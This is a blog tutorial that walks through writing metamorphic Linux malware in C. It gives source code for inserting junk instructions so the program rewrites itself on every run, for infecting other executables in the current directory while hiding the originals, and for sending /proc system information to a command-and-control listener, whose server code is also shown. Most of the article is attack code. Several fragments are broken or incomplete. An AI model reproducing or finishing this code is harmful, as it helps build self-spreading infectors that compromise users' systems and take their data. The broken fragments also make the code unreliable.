Metamorphic Malware
Introduction
In this article, I’ll explain how to write a simple metamorphic malware , I’ve already posted two articles about malware, So as usual I’ll give you a some kind of an overview of how this works, followed by code examples and finally a detailed explanation.
So, what exactly do I mean by Metamorphic Malware well writing malware that is undetectable is painful malware often uses a range of techniques like changing the packer used. In all cases it makes detection more time consuming and resource intensive to isolate and identify the malware signature. However Metamorphic malware changes itself to an equal form, including adding varying lengths of NOP instructions, adding useless instructions and loops within the code segments, and finally altering use registers. on the other hand there is Polymorphic malware which encrypts its original code to avoid being recognized as a pattern (next time, perhaps)
Background
- You need to have some experience with C and low level assembly. You must also be very familiar with the Linux operating system and build tools, All of the discussion here is pretty complicated, but I’ll try to make it as easy to follow as possible.
Overview
- The core task of this malware is to retrieve some information of the system, we are speaking of reading and sending back to the C2 server, the target (OS) is Linux, First activated by running the compiled bytecode then proceeded to scans the current directory and overwrites all executable files that have not been previously infected with its morphed code, Next the original executable is run from a file it was copied to during the propagation phase to disguise the fact that the actual executable was infected. Finaly the malware will establish a connection with C2 & begin collecting basic data about the (OS) and close the connection hardly anything malicious, except exposing your system information to unknown future threats
/* we have defines for various opcodes These will typically be combined
with other values to generate a full instruction */
#define B_PUSH_RAX ".byte 0x50\n\t"
#define B_PUSH_RBX ".byte 0x53\n\t"
#define B_POP_RAX ".byte 0x58\n\t"
#define B_POP_RBX ".byte 0x5b\n\t"
#define B_NOP ".byte 0x48,0x87,0xc0\n\t"
#define H_PUSH 0x50
#define H_POP 0x58
#define H_NOP_0 0x48
#define H_NOP_1 0x87
#define H_NOP_2 0xC0
#define JUNK_ASM __asm__ __volatile__ (B_PUSH_RBX B_PUSH_RAX B_NOP B_NOP B_POP_RAX B_POP_RBX)
#define JUNKLEN 10
JUNK_ASM
is a macro that inserts our sequence of junk operations anywhere we want in the code. it’s initially just writing out B_PUSH_
and B_NOP
, JUNKLEN
is the number of NOP
in that sequence - not the full length of the sequence.-
Next we have a simple function that will read our object code into memory. Notice the JUNK_ASM
macro calls inserted before variable declarations. You’re going to see a lot more throughout the code.
/* Load file in read binary mode */
int32_t load_file(uint8_t **file_data, uint32_t *file_len, const char *filename) {
JUNK_ASM;
// Opens file in read binary mode
FILE *fp = fopen(filename, "rb");
// Sets the file position of the stream to the given offset (0 long int)
fseek(fp, 0L, SEEK_END);
// Sets the length of the file
if (ftell(fp) < 1) {
} else {
*file_len = ftell(fp);
}
// Allocates memory to the length of the file
*file_data = malloc(*file_len);
// Gets the file position of the stream to the start of the file
fseek(fp, 0L, SEEK_SET);
// Reads the data into the file variable in memory
if (fread((void*)*file_data, *file_len, 1, fp) != 1) {
free(file_data);
return EXIT_FAILURE;
}
// Closes the file
fclose(fp);
return EXIT_SUCCESS;
}
Also notice the int32_t
, uint8_t
and file_data
, to understand more we move to the next function which will searches for and replaces the junk sequences.
Assembly instruction
- Starts by looking for a
PUSH
opcode followed by aPOP
opcode on the same register
/* Write assembly instruction */
void
insert_junk(uint8_t *file_data, uint64_t junk_start) {
JUNK_ASM;
uint8_t reg_1 = (local_rand()%4); // see below
uint8_t reg_2 = (local_rand()%4); // see below
while(reg_2 == reg_1) {
reg_2 = (local_rand()%4);
}
uint8_t push_r1 = 0x50 + reg_1;
uint8_t push_r2 = 0x50 + reg_2;
uint8_t pop_r1 = 0x58 + reg_1;
uint8_t pop_r2 = 0x58 + reg_2;
uint8_t nop[3] = {0x48,0x87,0xC0};
nop[2] += reg_1;
nop[2] += (reg_2 * 8);
file_data[junk_start] = push_r1;
file_data[junk_start + 1] = push_r2;
file_data[junk_start + 2] = nop[0];
file_data[junk_start + 3] = nop[1];
file_data[junk_start + 4] = nop[2];
file_data[junk_start + 5] = nop[0];
file_data[junk_start + 6] = nop[1];
file_data[junk_start + 7] = nop[2];
file_data[junk_start + 8] = pop_r2;
file_data[junk_start + 9] = pop_r1;
}
The junk assembly instructions use the following pattern so that they can be identified
r1 = random register from RAX, RBX, RCX or RDX
r2 = a different random register from RAX, RBX, RCX, RDX
We then pick one of registers at random, and write out the PUSH
and POP
operations for that register at either end of the sequence.
local_rand()
{
int digit;
FILE *fp;
// Opens file in read mode
fp = fopen("/dev/urandom", "r");
// Reads the file into the code variable in memory
fread(&digit, 1, 1, fp);
// Closes the file
fclose(fp);
return digit;
}
Note:
- by reading
/dev/urandom
, some systems are considering suspicious softwares using too much of the system randomness, Also may risk returning low-quality randomness if used just after boot.
Replacement of junk
- There is always the same number of junk assembly sequences spread throughout the file, and they are being replaced with different sequences of random opcodes they are always being replaced in place.
for (uint64_t i = 0; i < file_len; i += 1) {
// Start of the junk ASM
if (file_data[i] >= H_PUSH && file_data[i] <= (H_PUSH + 3)) continue;
if (file_data[i + 1] >= H_PUSH && file_data[i + 1] <= (H_PUSH + 3)) continue;
if (file_data[i + 2 == H_NOP_0]) continue;
if (file_data[i + 3] == H_NOP_1) {
insert_junk(file_data, i);
}
}
Also, when inserting the replacement junk assembly opcodes they aren’t “any random opcodes”, because this could cause the program to crash or unexpected behaviour to occur. Opcodes are chosen at random from within a certain range, which have been chosen to ensure they have no impact on the successful operation of the rest of the program code. The range is small because this is only an example. The choice and range of opcodes used could of course be expanded.
The Malware
- in principle. Each time the program runs, it randomly replaces certain assembly code sequences with randomly different sequence of junk opcodes, The overall effect is that each time the program is run different sets of junk assembly instruction sequences are executed, making the code is metamorphic, but the changing opcodes don’t relate to the main program function and so the code is always changing but the main program output/effect is consistent Continue reading 13
Propagation Phase
- Executes a bash command to execute and hide an original executable file and Embeds the malware in the executable.
/* hide an original executable file */
void hide_file(const char *bash_code, const char *filename)
{
JUNK_ASM;
int cmd_len = strlen(bash_code) + strlen(filename) + 1;
sprintf(bash_code, filename, filename);
}
/* Embeds the malware */
void embed_code(uint8_t *file_data, uint32_t file_len, const char *filename)
{
JUNK_ASM;
hide_file("cp %s .one_%s", filename);
execute_bash("chmod +x %s",filename);
write_file(file_data, file_len, filename);
}
- Lists files in passed in directory path
void propagate(const char *path, const char *exclude)
{
JUNK_ASM;
DIR *dir;
struct dirent *ent;
// Open directory stream
dir = opendir ("./");
if (dir != NULL) {
// Iterate over all files in the current directory
while ((ent = readdir (dir)) != NULL) {
// Select regular files only, not DT_DIR (directories) nor DT_LNK (links)
if (ent->d_type == DT_REG)
{
// Select executable and writable files that can be infected
if (access(ent->d_name, X_OK) == 0 && access(ent->d_name, W_OK) == 0)
{
// Ignore the executable that is running the program
if (strstr(exclude, ent->d_name) != NULL)
{
original_executable = ent->d_name;
}
}
Main Function
- Finally we have the main function. This just calls the functions
previously described. We read in the code, replace the junk, then write
it out again. The
argv[0]
argument contains the application filename.
int main(int argc, char* argv[]) {
JUNK_ASM;
// Load this file into memory
uint8_t *file_data = NULL;
uint32_t file_len;
load_file(&file_data, &file_len, argv[0]);
// Replace the existing junk ASM sequences with new ones
replace_junk(file_data, file_len);
write_file(file_data, file_len, argv[0]);
free(file_data);
return EXIT_SUCCESS;
The C2 Server
-
The data extraction module (dext) runs on a well defined port (which can be modified at will) and will start an autonomous thread listening for incoming connections by malware instances. Once connected, the module will simply print on the standard output the content of the incoming connection (which are is the information extracted by the client).
-
Connect to the C2 server
-
Read the content of the /proc files
-
Send the content to our c2 server
Connect to Command&Control
JUNK_ASM;
int c2_fd;
struct hostent * c2_res;
struct sockaddr_in addr;
c2_fd = socket(AF_INET, SOCK_STREAM, 0);
c2_res = gethostbyname("localhost");
addr.sin_family = AF_INET;
memcpy(&addr.sin_addr.s_addr, c2_res->h_addr, c2_res->h_length);
// 0x539 is "1337" in host byte order.
addr.sin_port = htons(0x539);
// Send the content of the files to the C2 server
sys_info(c2_fd);
// Close and die
close(c2_fd);
Read the content
The /proc
files I find most valuable, especially for inherited system discovery, are:
JUNK_ASM;
send(sockfd, "/proc/version");
send(sockfd, "/proc/cmdline");
send(sockfd, "/proc/cpuinfo");
send(sockfd, "/proc/meminfo");
/proc/cmdline
- This file shows the parameters passed to the kernel at the time it is started.
BOOT_IMAGE=/vmlinuz-3.10.0-1062.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto spectre_v2=retpoline rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
The value of this information is in how the kernel was booted because
any switches or special parameters will be listed here, too. And like
all information under /proc
, it can be found elsewhere and usually with better formatting, but /proc
files are very handy when you can’t remember the command or don’t want to grep
for something.
/proc/cpuinfo
The /proc/cpuinfo
file is the first file I check when
connecting to a new system. I want to know the CPU make-up of a system
and this file tells me everything I need to know.
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 142
model name : Intel(R) Core(TM) i5-7360U CPU @ 2.30GHz
stepping : 9
cpu MHz : 2303.998
cache size : 4096 KB
physical id : 0
siblings : 1
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 22
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc cpuid tsc_known_freq pni pclmulqdq monitor ssse3 cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx rdrand hypervisor lahf_lm abm 3dnowprefetch invpcid_single pti fsgsbase bmi1 avx2 bmi2 invpcid rdseed md_clear flush_l1d
bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit srbds
bogomips : 3606.82
clflush size : 64
cache_alignment : 64
address sizes : 39 bits physical, 48 bits virtual
power management:
This is a virtual machine and only has one vCPU. If your system contains more than one CPU, the CPU numbering begins at 0 for the first CPU. See 2
Data Extraction
- Thread module. This module is in charge of accepting connection on a certain port and show the incoming data on the screen.
struct sockaddr_in cltaddr;
int i;
int br;
char buf[BUF_SIZE];
printf("Listening for incoming reports...\n");
/* Keep on listening... */
while(1) {
cltfd = accept(dexft_fd, (struct sockaddr *)&cltaddr, &cltlen);
continue;
}
printf("Collecting data from client %s:%d...\n",
inet_ntoa(cltaddr.sin_addr),
cltaddr.sin_port);
do {
br = recv(cltfd, buf, BUF_SIZE, 0);
for(i = 0; i < br; i++) {
printf("%c", buf[i]);
}
/* Close the socket */
close(cltfd);
}
/* Never reaching this point */
return 0;
}
int
dext_init(int port)
{
struct sockaddr_in srvaddr;
printf("Initializing Data Extraction module...\n");
dexft_fd = socket(AF_INET, SOCK_STREAM, 0);
srvaddr.sin_family = AF_INET;
srvaddr.sin_addr.s_addr = INADDR_ANY;
srvaddr.sin_port = htons(port);
return 0;
}
END
That’s all for now. I hope you learned something from this. The malware simply explains the concept; we aren’t really attempting to evade detection. The challenge with code morphing is that it requires expertise, skills, and effort to write and is simply limited by a number of factors. Most malware authors will code something that is completely unprotected and can be used just as-is, once detected, it will be impossible to use the malware again, so getting a small number of results is still worthwhile.
Komentar
Posting Komentar